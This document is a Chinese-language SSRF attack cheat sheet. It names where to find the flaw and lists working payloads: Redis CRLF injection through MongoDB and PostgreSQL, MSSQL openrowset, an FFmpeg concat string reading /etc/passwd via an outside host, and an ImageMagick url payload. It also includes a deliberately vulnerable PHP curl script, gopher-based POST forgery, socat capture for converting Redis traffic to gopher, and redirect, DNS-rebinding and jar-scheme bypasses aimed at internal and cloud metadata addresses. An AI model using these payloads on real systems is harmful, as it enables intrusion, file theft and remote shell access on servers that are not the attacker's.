SSRF

定义

服务端请求伪造
构造一个由服务器发出请求的漏洞
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制

成因

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞

挖掘

转码服务
在线翻译
获取超链接的标题等内容进行显示
请求远程服务器资源的地方，图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
对外发起网络请求的地方，网站采集、网页抓取的地方。
头像 (远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
数据库内置功能(mongodb的copyDatabase函数)
邮件系统
文件处理
在线处理工具
从URL关键字中寻找：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

数据库

MongoDB

db.copyDatabase('\r\nconfig set dbfilename ssrf\r\nquit\r\n’,'test','10.6.4.166:6379')

PostgresSQL

SELECT dblink_send_query(
 'host=127.0.0.1 
dbname=quit 
user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' 
password=1 port=6379 sslmode=disable', 
'select version();’ 
);

MSSQL

SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master')
SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories

图片处理函数

FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
ImageMagick
fill 'url(http://wyssrf.wuyun.org)'

攻击

测试代码,需安装phpcurl模块apt-get install php7.0-curl
<?php
echo 'r u ok?';
function curl($url){  
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_exec($ch);
  curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
对内网、本地进行端口扫描，获取服务的banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别，通过访问默认文件实现(如：readme文件)
攻击内外网的 web 应用，主要是使用 GET 参数就可以实现的攻击(如：Struts2，sqli)
读取内网资源(如：利用file协议读取本地文件等)
跳板
无视cdn
利用Redis未授权访问，HTTP CRLF注入实现getshell

文件读取

伪造POST请求
>curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'

gopher协议的脚本转换

抓取本地测试的正常请求
>socat -v tcp-listen:4444,fork tcp-connect:目标IP:6379

将捕获日志保存txt
使用脚本转换为支持gopher协议的字符串
转换规则
如果第一个字符是>或者< 那么丢弃该行字符串，表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串，表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a

本地可执行

远程执行需对空格进行编码后再url编码一次

使用重定向绕过

1. 在白名单主机上创建一个页面，将请求重定向的SSRF到目标 URL（例如 192.168.0.1）
2.启动 SSRF vulnerable.com/index.php?url=http://YOUR_SERVER_IP vulnerable.com将获取 YOUR_SERVER_IP 将重定向到 192.168.0.1
3.您可以使用响应码[307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307)和[308](https://developer.mozilla.org/ en-US/docs/Web/HTTP/Status/308) 以便在重定向后保留 HTTP 方法。

使用 type=url 绕过

把"type=file" 改为"type=url"
在文本字段中粘贴 URL，然后按回车
使用此漏洞，用户可以从任何图像URL上传图像 = 触发 SSRF

使用 DNS 重新绑定 (TOCTOU) 绕过

创建一个在两个 IP 之间更改的域。 http://1u.ms/ 
例如，要在 1.2.3.4 和 169.254-169.254 之间轮换，请使用以下域：
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

使用 jar 协议绕过（仅限 java）

jar:scheme://domain/path!/
